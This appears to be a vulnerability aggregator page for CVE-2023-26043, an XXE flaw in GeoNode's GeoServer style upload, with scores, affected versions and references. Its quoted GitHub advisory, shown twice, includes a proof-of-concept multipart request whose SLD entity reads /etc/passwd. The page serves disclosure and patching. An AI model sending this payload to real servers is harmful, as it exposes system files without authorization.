CVE-2023-26043
XML External Entity (XXE) injection in GeoServer style upload functionality
GeoNode is an open source platform that facilitates the creation, sharing, and collaborative use of geospatial data. GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read. This issue has been patched in version 4.0.3.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.5
XML External Entity (XXE) injection in GeoServer style upload functionality
GeoNode is an open source platform that facilitates the creation, sharing, and collaborative use of geospatial data. GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read. This issue has been patched in version 4.0.3.
- Record
CVE-2023-26043- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-611
- Updated
- 2026-11-02
EUVDEUVD-2023-0081
6.5
GeoNode is an open source platform that facilitates the creation, sharing, and collaborative use of geospatial data. GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read. This issue has been patched in version 4.0.3.
- Record
EUVD-2023-0081- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-mcmc-c59m-pqq8
7.1
GeoServer style upload functionality vulnerable to XML External Entity (XXE) injection
Summary
GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read.
Details
GeoNode's GeoServer has the ability to upload new styles for datasets through the dataset_style_upload view.
# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/views.py#L158-L159
@login_required
def dataset_style_upload(request, layername):
def respond(*args, **kw):
kw['content_type'] = 'text/html'
return json_response(*args, **kw)
...
sld = request.FILES['sld'].read() # 1
sld_name = None
try:
# Check SLD is valid
...
sld_name = extract_name_from_sld(gs_catalog, sld, sld_file=request.FILES['sld']) # 2
except Exception as e:
respond(errors=f"The uploaded SLD file is not valid XML: {e}")
name = data.get('name') or sld_name
set_dataset_style(layer, data.get('title') or name, sld)
return respond(
body={
'success': True,
'style': data.get('title') or name, # 3
'updated': data['update']})
dataset_style_upload gets a user-provided file (1), pass it to extract_name_from_sld to extract an element from it (2) and return the former in the response (3).
# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/helpers.py#L233-L234
def extract_name_from_sld(gs_catalog, sld, sld_file=None):
try:
if sld:
if isfile(sld):
with open(sld, "rb") as sld_file:
sld = sld_file.read() # 1
if isinstance(sld, str):
sld = sld.encode('utf-8')
dom = etree.XML(sld) # 2
...
named_dataset = dom.findall(
"{http://www.opengis.net/sld}NamedLayer")
el = None
if named_dataset and len(named_dataset) > 0:
user_style = named_dataset[0].findall("{http://www.opengis.net/sld}UserStyle")
if user_style and len(user_style) > 0:
el = user_style[0].findall("{http://www.opengis.net/sld}Name") # 3
...
return el[0].text # 4
extract_name_from_sld uses sld (which is a path to the provided file), reads it (1) and parses it with etree.XML in 2. Since the former uses a default XMLParser, the parsing gets done with the resolve_entities flag set to True. Therefore, dom handles the parsed XML containing the resolved entity (2), gets NamedLayer.UserStyle.Name in 3 and returns the resolved content in 4.
PoC
- Create a guest/non-privileged account and log in.
- Upload a dataset through
/catalogue/#/upload/datasetwhose name we will be referencing as<DATASET_NAME>. - Send the following request that will try to upload a new style for the dataset. The response will be returning the resolved entity with the contents of
/etc/passwd:
POST /gs/geonode:<DATASET_NAME>/style/upload HTTP/1.1
Host: localhost
Cookie: django_language=en-us; csrftoken=<CSRF-TOKEN>; sessionid=<SESSION-COOKIE>
X-Csrftoken: <CSRF-TOKEN>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfoo
Content-Length: 485
------WebKitFormBoundaryfoo
Content-Disposition: form-data; name="layerid"
1
------WebKitFormBoundaryfoo
Content-Disposition: form-data; name="sld"; filename="foo.sld"
Content-Type: application/octet-stream
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE foo [ <!ENTITY ent SYSTEM "/etc/passwd" > ]>
<foo xmlns="http://www.opengis.net/sld">
…
- Record
GHSA-mcmc-c59m-pqq8- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-611
- Updated
- 2026-11-02
NVD
6.5
GeoNode is an open source platform that facilitates the creation, sharing, and collaborative use of geospatial data. GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read. This issue has been patched in version 4.0.3.
- Record
CVE-2023-26043- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-611
- Updated
- 2026-11-02
OSV
6.5
XML External Entity (XXE) injection in GeoServer style upload functionality
GeoNode is an open source platform that facilitates the creation, sharing, and collaborative use of geospatial data. GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read. This issue has been patched in version 4.0.3.
- Record
CVE-2023-26043- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-611
- Updated
- 2026-11-02
OSVGHSA-mcmc-c59m-pqq8
7.1
GeoServer style upload functionality vulnerable to XML External Entity (XXE) injection
Summary
GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read.
Details
GeoNode's GeoServer has the ability to upload new styles for datasets through the dataset_style_upload view.
# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/views.py#L158-L159
@login_required
def dataset_style_upload(request, layername):
def respond(*args, **kw):
kw['content_type'] = 'text/html'
return json_response(*args, **kw)
...
sld = request.FILES['sld'].read() # 1
sld_name = None
try:
# Check SLD is valid
...
sld_name = extract_name_from_sld(gs_catalog, sld, sld_file=request.FILES['sld']) # 2
except Exception as e:
respond(errors=f"The uploaded SLD file is not valid XML: {e}")
name = data.get('name') or sld_name
set_dataset_style(layer, data.get('title') or name, sld)
return respond(
body={
'success': True,
'style': data.get('title') or name, # 3
'updated': data['update']})
dataset_style_upload gets a user-provided file (1), pass it to extract_name_from_sld to extract an element from it (2) and return the former in the response (3).
# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/helpers.py#L233-L234
def extract_name_from_sld(gs_catalog, sld, sld_file=None):
try:
if sld:
if isfile(sld):
with open(sld, "rb") as sld_file:
sld = sld_file.read() # 1
if isinstance(sld, str):
sld = sld.encode('utf-8')
dom = etree.XML(sld) # 2
...
named_dataset = dom.findall(
"{http://www.opengis.net/sld}NamedLayer")
el = None
if named_dataset and len(named_dataset) > 0:
user_style = named_dataset[0].findall("{http://www.opengis.net/sld}UserStyle")
if user_style and len(user_style) > 0:
el = user_style[0].findall("{http://www.opengis.net/sld}Name") # 3
...
return el[0].text # 4
extract_name_from_sld uses sld (which is a path to the provided file), reads it (1) and parses it with etree.XML in 2. Since the former uses a default XMLParser, the parsing gets done with the resolve_entities flag set to True. Therefore, dom handles the parsed XML containing the resolved entity (2), gets NamedLayer.UserStyle.Name in 3 and returns the resolved content in 4.
PoC
- Create a guest/non-privileged account and log in.
- Upload a dataset through
/catalogue/#/upload/datasetwhose name we will be referencing as<DATASET_NAME>. - Send the following request that will try to upload a new style for the dataset. The response will be returning the resolved entity with the contents of
/etc/passwd:
POST /gs/geonode:<DATASET_NAME>/style/upload HTTP/1.1
Host: localhost
Cookie: django_language=en-us; csrftoken=<CSRF-TOKEN>; sessionid=<SESSION-COOKIE>
X-Csrftoken: <CSRF-TOKEN>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfoo
Content-Length: 485
------WebKitFormBoundaryfoo
Content-Disposition: form-data; name="layerid"
1
------WebKitFormBoundaryfoo
Content-Disposition: form-data; name="sld"; filename="foo.sld"
Content-Type: application/octet-stream
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE foo [ <!ENTITY ent SYSTEM "/etc/passwd" > ]>
<foo xmlns="http://www.opengis.net/sld">
…
- Record
GHSA-mcmc-c59m-pqq8- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-611
- Updated
- 2026-11-02
OSVPYSEC-2023-15 No score
GeoNode is an open source platform that facilitates the creation, sharing, and collaborative use of geospatial data. GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read. This issue has been patched in version 4.0.3.
- Record
PYSEC-2023-15- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
geonodePyPI |
before 4.0.3 | 4.0.3 |
geonodePyPI |
before 4.0.3, plus listed versions 2.02.0.12.0.dev201309131819502.0.dev201406261912472.0b10 Show 45 moreShow less2.0b112.0b122.0b132.0b172.0b182.0b192.0b212.0b222.0b242.0b252.0b262.0b272.0b282.0b292.0b32.0b302.0b312.0b322.0b332.0b342.0b352.0b362.0b372.0b382.0b392.0b42.0b402.0b412.0b422.0b432.0b442.0b452.0b462.0b482.0b492.0b52.0b502.0b512.0b522.0b532.0b542.0b552.0b572.0b582.0b59 |
4.0.3 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2023-26043 is a medium vulnerability (CVSS 6.5) in Geonode, published February 27, 2023. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.84%, the 57th percentile. Fixed in geonode 4.0.3.
References
github.com/GeoNode/geonode/security/advisories/GHSA-mcmc-c59m-pqq8
github.com/GeoNode/geonode/commit/2fdfe919f299b21f1609bf898f9dcfde58770ac0
nvd.nist.gov/vuln/detail/CVE-2023-26043
github.com/pypa/advisory-database/tree/main/vulns/geonode/PYSEC-2023-15.yaml
github.com/advisories/GHSA-mcmc-c59m-pqq8
github.com/CVEProject/cvelistV5/tree/main/cves/2023/26xxx/CVE-2023-26043.json
github.com/GeoNode/geonode
Left out here: 161 versions and the rest of 2 source descriptions. The JSON record has them.